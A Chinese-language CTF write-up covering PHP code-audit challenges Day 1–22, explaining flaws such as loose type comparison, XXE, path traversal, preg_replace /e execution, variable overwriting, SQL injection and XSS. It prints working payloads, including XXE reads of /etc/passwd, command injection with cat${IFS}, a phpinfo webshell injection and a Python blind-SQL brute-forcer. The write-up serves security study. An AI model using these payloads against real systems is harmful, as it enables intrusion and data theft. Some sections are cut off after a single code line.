Day 1 - Wish List
考点:in_array()
未配置第三个参数,导致弱类型绕过
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
大致的逻辑为上传一个表单name=solution
的文件,验证其文件名在range(1,24)
的范围,使用的in_array()
来进行验证。
问题就出在in_array()
函数:https://php.net/manual/zh/function.in-array.php
文档中写道,如果没有使用第三个参数$strick=true
,则使用弱类型比较,即前先进行类型转换再比较。
即我们构造一个文件名为1a.php
,经过in_array()
的类型转换会变成1
从而绕过这个限制。
demo:1
2
3
4
5
6<?php
$array = range(1,24);
$file_name = "1a.php";
if(in_array($file_name, $array)){
var_dump(in_array($file_name, $array));
}
红日安全提供的一道练习题:https://xz.aliyun.com/t/2451
这里用make_set
函数绕group,然后报错注入。 没过滤sleep,if,mid盲注也行
Day 2 - Twig
考点:filter_var
的url验证绕过
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33// composer require "twig/twig"
require 'vendor/autoload.php';
class Template {
private $twig;
public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';
// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}
public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}
(new Template())->render();
两个过滤点,一个是twig模板引擎自带的escape
过滤:https://twig.symfony.com/
也就是htmlspecialchars实现的过滤。1
2
3
4
5& (& 符号) =============== &
" (双引号) =============== "
' (单引号) =============== '
< (小于号) =============== <
> (大于号) =============== >
第二个点:filter_var($nextSlide, FILTER_VALIDATE_URL)
,检测是否为一个合法的url。
这里给出的payload:?url=javascript://comment%250aalert(1)
即%25->%
,%0a->换行符
,二次url编码,第一次为传入时浏览器接码一次,第二次为解析时,浏览器解码换行符。
所以JavaScript伪协议和换行绕过了这个限制。
红日安全提供的一个练习题:https://xz.aliyun.com/t/2491
显然这里不是考察orange的parse_url
函数和curl
处理host的差异,这里要求我们parse_url处理后的host以规定的域名结尾,所以我们可控的就是前面,
这里测试的php版本为5.5:
简单测试了一下filter_var
的url合法检测情况(爆破的时候记得将brup的自动url编码关掉)
其实这里漏了一个%23
,没有#
锚点的特殊功能,单纯只是一个字符#
url=https://demo.com%23sec-redclub.com
还有换成别的协议还能用分号绕过,这一步在命令执行里面很关键:?url=demo://demo.com;sec-redclub.com
再来看看着如何绕过第二步parse_url($url)['host']
的正则匹配:url=demo://demo.com;ls;sec-redclub.com
进一步构造:
payload:?url=demo://aa";ls;"sec-redclub.com
读flag:?url=demo://aa";cat${IFS}f1agi3hEre.php;"sec-redclub.com
Day 3 - Snow Flake
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
初看源码其实并不知道哪有漏洞,可控的点操作的东西小很少,而且也没有输出的地方。
可以看到文档中写到class_exists()
的用法:
https://php.net/manual/zh/function.class-exists.php
默认是类不存在时调用__autoload()
函数的
文档中写到,
__autoload()
在php7.2已经废弃,取而代之的是spl_autoload_register()
还有一些会自动调用__autoload()
函数的函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17call_user_func()
call_user_func_array()
class_exists()
class_implements()
class_parents()
class_uses()
get_class_methods()
get_class_vars()
get_parent_class()
interface_exists()
is_a()
is_callable()
is_subclass_of()
method_exists()
property_exists()
spl_autoload_call()
trait_exists()
然而的是PHP5~5.3
才能用.
符号,在php5.4修复了这个问题,所以既不能目录穿越,也不能 包含当前目录下的.php
等文件。
第二个漏洞产生的原因就是因为类名和其实例化传入的参数可控,导致我们可以控制php内部存在漏洞的类。
exp demo:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<?php
# 让php允许外部实体
libxml_disable_entity_loader(false);
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<user>&xxe;</user>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
var_dump($xml_class);
// LIBXML_NOENT: 将xml实体引用替换成对应的值
// LIBXML_DTDLOAD: 加载DOCTYPE中的DTD文件
payload:1
/?c=SimpleXMLElement&d[v]=2&d[t]=<%3fxml+version%3d"1.0"%3f><!DOCTYPE+ANY+[<!ENTITY+xxe+SYSTEM+"php%3a//filter/read%3dconvert.base64-encode/resource%3d/Users/passer6y/Documents/ctf/phpAuditLabs/day3_class_exists/f1agi3hEre.php">]><x>%26xxe%3b</x>
挺疑惑
SimpleXMLElement
第二个参数给2的原因..
把结果输出出来了,这里得盲打xxe,这里挖个坑,以后再填。
下面来看一下红日安全提供的审计题:
index.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
这里使用的是spl_autoload_register()
函数,简而言之是__autoload()
的升级版,给autoload
创建一个队列,逐个执行。
参数如下:
解题思路:
先使用内置类:GlobIterator
,其构造函数用法:
这样就可以搜索文件位置:
找flag位置:name=GlobIterator¶m=*.php¶m2=0
这里读取flag要使用php文件流的原因是因为xxe读取的文件中如果存在<>'"&
就会导致xml文件解析错误,所以就只能这样通过流的方式base64编码读出。
读flag:1
name=SimpleXMLElement¶m2=2¶m=<%3fxml+version%3d"1.0"%3f><!DOCTYPE+ANY+[<!ENTITY+xxe+SYSTEM+"php%3a//filter/read%3dconvert.base64-encode/resource%3d/Users/passer6y/Documents/ctf/phpAuditLabs/day3_class_exists/f1agi3hEre.php">]><x>%26xxe%3b</x>
Day 4 - False Beard
1 | class Login { |
去翻一下strpos的文档,里面也明确说明了这个问题,该函数返回查询字符首次出现的数字位置,如果在第一个字符位置则返回0,如果使用弱类型比较,则可能导致安全漏洞。
红日安全提供的练习题,在api.php将用户的每一位数字和开奖的数字进行比较,相同位数越多则得到的奖金越多。
使用的弱类型比较,如果从布尔型的角度想来,除了0,false,null其他都为真,则我们构造一个数组使其都为真即可:
Day 5 - postcard
1 | class Mailer { |
Day6 - Forst Pattern
1 | class TokenStorage { |
关键点在preg_replace("/[^a-z.-_]/", "", $token);
将非从a-z
,.-_
替换为空,过滤不严,导致可以使用../../
导致任意文件删除。
红日的练习题wp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) // [[:graph:]] :匹配所有的可打印字符,等价于[^ \t\n\r\f\v]
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; // 小写 大写 标点 数字
if (6 > preg_match_all($reg, $password, $arr)){
echo "step2:".preg_match_all($reg, $password, $arr);
break;
}
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3){
echo "step3:".$c;
break;
}
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>
使用科学计数法绕:
payload:1
2password=42.00e%2b00000000000
password=420.000000e-1
加号注意要url编码,不然是空白字符,在burp的params中可以看到不编码的参数:
Day 7 - Bell
考察的parse_str
没有配置第二个参数导致变量覆盖。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}
$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';
漏洞点在parse_str($var['query']);
,其变量覆盖导致可以被修改mysql数据库配置,让其连上我们的数据库然后绕过权限验证。
漏洞产生的原因为没有设置第二个参数,即将结果存入result
,而是直接将变量解析到当前作用域
demo:
同样产生变量覆盖的问题还有:$$
产生变量覆盖
1 | <?php |
以及extract()
1 | <?php |
红日安全提供的练习题:https://xz.aliyun.com/t/2541
第一关parse_str
变量覆盖,弱类型比较绕过
第二关条件竞争,利用0.1秒时间差,一个疯狂生成文件,一个调大线程去访问即可。
其实测试了一下这里不加usleep函数也能成功拿到flag,只是概率小了一些而已
Day 8 - Candle
考察:preg_replace()
e修饰符代码执行1
2
3
4
5
6
7
8
9
10
11
12
13
14<?php
header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}
foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}
preg_replace()
e修饰符,第二个参数可造成代码执行
这里由于第二个参数用的双引号,可导致{${phpinfo()}}
该特殊的可变变量被执行。
正则的反向引用:https://xz.aliyun.com/t/2557
关于反向引用的理解:
https://blog.csdn.net/lxcnn/article/details/4146148
https://blog.csdn.net/lxcnn/article/details/4476746
payload:https://127.0.0.1/?\S*={${phpinfo()}}
Day 9 - Rabbit
考察str_replace()
过滤不严1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18class LanguageManager {
public function loadLanguage() {
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}
private function getBrowserLanguage() {
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}
private function sanitizeLanguage($language) {
return str_replace('../', '', $language);
}
}
(new LanguageManager())->loadLanguage();
payload:..././
或....//
如果过滤方式为:str_replace(array('../','./'), '', $dir);
我们可以构造这样的payload:.....///
=>../
来进行目录遍历
修复方案:
可以使用递归的过滤,或者:str_replace('..', '', $language)
红日安全提供的ctf题目:https://xz.aliyun.com/t/2633
利用变量覆盖绕过addslashes
的引号限制从而导致注入:
Day 10 - Anticipation
1 | <?php |
程序未exit()
,加上变量覆盖导致代码执行。
payload:pi=phpinfo()
Day 12 - String Lights
1 | $sanitized = []; |
htmlentities
函数使用不当,加上intval只对数组的值进行转换,没有对键进行转换,导致xss。
htmlentities:功能即编码一些特殊符号
但是第二个参数的默认配置会不编码单引号,这就导致了这里单引号被闭合
payload:?a'onclick=alert(1)//=c
红日安全提供的ctf题:https://github.com/hongriSec/PHP-Audit-Labs/tree/master/Part1/Day12/files1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41<?php
require 'db.inc.php';
if(isset($_REQUEST['username'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
die("Attack detected!!!");
}
}
if(isset($_REQUEST['password'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
die("Attack detected!!!");
}
}
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
echo $query;
$result=mysql_query($query,$con);
//var_dump($result);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
?>
和之前不一样的是,这里同样用了htmlentities
进行编码转换,这里配置了ENT_QUOTES
,使得单双引号都会被转义,无法闭合sql语句。但是因为没有过滤\
,使得我们可以转义单引号:
后来看wp还有一种有意思思路:https://xz.aliyun.com/t/2829#toc-4
仔细看我们会发现过滤的时候使用的是$_REQUEST
来获取参数,而获取查库操作的变量以$_GET
形式引入,这里有一个看似不起眼的差异。
在php.ini
中,因为$_REQUEST
和gpc有共同之处,而下图中GPCS
即$_REQUEST
加载流程,G:Get,P:Post,C:Cookie,S:Server。
可以知道post在get之后,如果我们同时传入get和post相同参数,则$_REQUEST
获取到的是post,固然我们就可以利用这个点绕过过滤限制。
Day 13 - Turkey Baster
1 | class LoginManager { |
其实这个点和day12有相似之处,这段代码虽然使用了addslashes()
函数来转义引号,问题出在他会用substr()
截断长度大于20的部分,所以我们可以像day12中一样,利用substr将\'
的'
给截断掉,导致转义原本的单引号,然后就可以注入了。当然这类漏洞局限就是一般存在于双条件查询的页面。
红日安全提供的练习题:https://xz.aliyun.com/t/2864
1 | <?php |
同样也是$_REQUEST
获取参数覆盖问题同day12,相同参数名时$_POST
会覆盖掉$_GET
,而在其处理$_SERVER['REQUEST_URI']
再一次对uri中的参数给$_REQUEST
进行注册,并且没有校验sql注入。
这里还有一种解法就是利用http参数污染漏洞,思路和day14一致。
Day 14 - Snowman
考点:变量覆盖及目录遍历getshell
1 | <?php |
payload:../11.php&shell=1',)%0a<%3fphp+phpinfo();?>//
红日安全提供的ctf题: https://pan.baidu.com/s/1pHjOVK0Ib-tjztkgBxe3nQ 密码: 59t2
这个题的漏洞关键在于$_SERVER['REQUEST_URI']
和$_GET
处理空格
、.
、[
的差异造成。
$_GET
变量在处理参数的时候,会将参数名中的空格
、.
、[
替换成_
,而$_SERVER['REQUEST_URI']
不会,这就在注册变量的时候产生了一个差异。这种漏洞称为HPP(HTTP Parameter Pollution)
demo:
payload:?message_id=-1 union select 1,flag,3,4 from flag&message.id=1
嫖的原理图:
Day 15 - Sleigh Ride
$_SERVER['PHP_SELF']
配合一些特殊的url解析模式(如PATH_INFO)导致的漏洞
1 | class Redirect { |
这里如果URL是PATH_INFO
的时候,比如https://demo.com/index.php/admin
实际上还是访问的index.php
这样的入口文件。
比如:https://demo.com/index.php/https://baidu.com
,$_SERVER['PHP_SELF']
获取到的是/index.php/https://baidu.com
,而这里会explode
处理/
,取数组的最后一个作为 $baseFile
,由于代码中设置header()
前有一次url解码,这就导致了我们可以二次url编码绕过这个/
限制,payload:https://demo.com/index.php/http:%252f%252fbaidu.com?redirect=1¶ms[a]=1
这样就产生了一个url跳转漏洞。
红日安全提供的ctf题:https://xz.aliyun.com/t/3178
1 | <?php |
很明显是sql注入的绕过,仔细分析过滤规则可以发现没有过滤\
,因为是双条件查询这样就可以闭合引号了。这里需要注出admin的密码就能拿flag。
payload:?user=\&pwd=||/**/pwd/**/REGEXP/**/"^8";%00
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import string
import requests
import re
char_set = '0123456789abcdefghijklmnopqrstuvwxyz_'
pw = ''
while 1:
for ch in char_set:
url = 'https://localhost/CTF/?user=\\&pwd=||pwd/**/regexp/**/"^%s";%%00'
r = requests.get(url=url%(pw+ch))
if 'Welcome Admin' in r.text:
pw += ch
print(pw)
break
if ch == '_': break
r = requests.get('https://localhost/CTF/?user=&pwd=%s' % pw)
print(re.findall('HRCTF{\S{1,50}}',r.text)[0])
这种注入方式局限在于只能指定同一表中的其他字段。
Day 16 - Poem
1 | class FTP { |
$_REQUEST['mode']
获取数据未经过滤+弱类型比较
payload:?mode=1%0a%0dDELETE%20test.file
Day 17 - Mistletoe
md5($this->password, true)
绕过addslashes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35class RealSecureLoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input) {
return addslashes($input);
}
}
$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}
所有的输入数据都被addslashes
过滤了一遍,这里看似没有办法闭合sql语句的引号,其实这里问题出在md5()
函数上:https://php.net/manual/zh/function.md5.php
如果第二个参数设置为true
,则以原始的二进制数据返回。
那么有没有可能让md5($string, true)
,最后一位出现\
呢。
跑出来md5("128",true);
的最后一位为\
1
2
3
4
5
6
7
8
9<?php
for($i=1; $i<9999; $i++){
$string = md5($i,true);
if(substr($string,-1) == "\\"){
echo $i."\n".$string;
break;
}
}
之后的注入流程就和前面所述一致了。
还有一些比较有意思的点
比如:md5("ffifdyop",true); // 'or'6�]��!r,��b
md5("129581926211651571912466741651878684928",true); // �T0D��o#��'or'8
可以用来绕过这样的场景:1
2原先:SELECT * FROM admin WHERE username = 'admin' and password = 'md5($password,true)'
变成:SELECT * FROM admin WHERE username = 'admin' and password = ''or'6\xc9]\x99'
and
优先级比or
高,导致整个where子句为真,即必然会出数据。
红日安全分享了一道这个考点的题:https://xz.aliyun.com/t/3375
Day 18 - Sign
1 | class JWT { |
Day 19 - Birch
1 | class ImageViewer { |
只允许数字,且会将转义符去除,这里可以使用8进制绕过限制:0\073\163\154\145\145\160\0405\073
Day 20 - Stocking
1 | <?php |
ssrf无过滤,只能盲打,或者通过报错来看:
Day 21 - Gift Wrap
1 | declare(strict_types=1); |
命令执行,绕过类型转换,本地没复现成功..
Day 22 - Chimney
1 | if (isset($_POST['password'])) { |
很明显,简单的md5
若类型比较漏洞: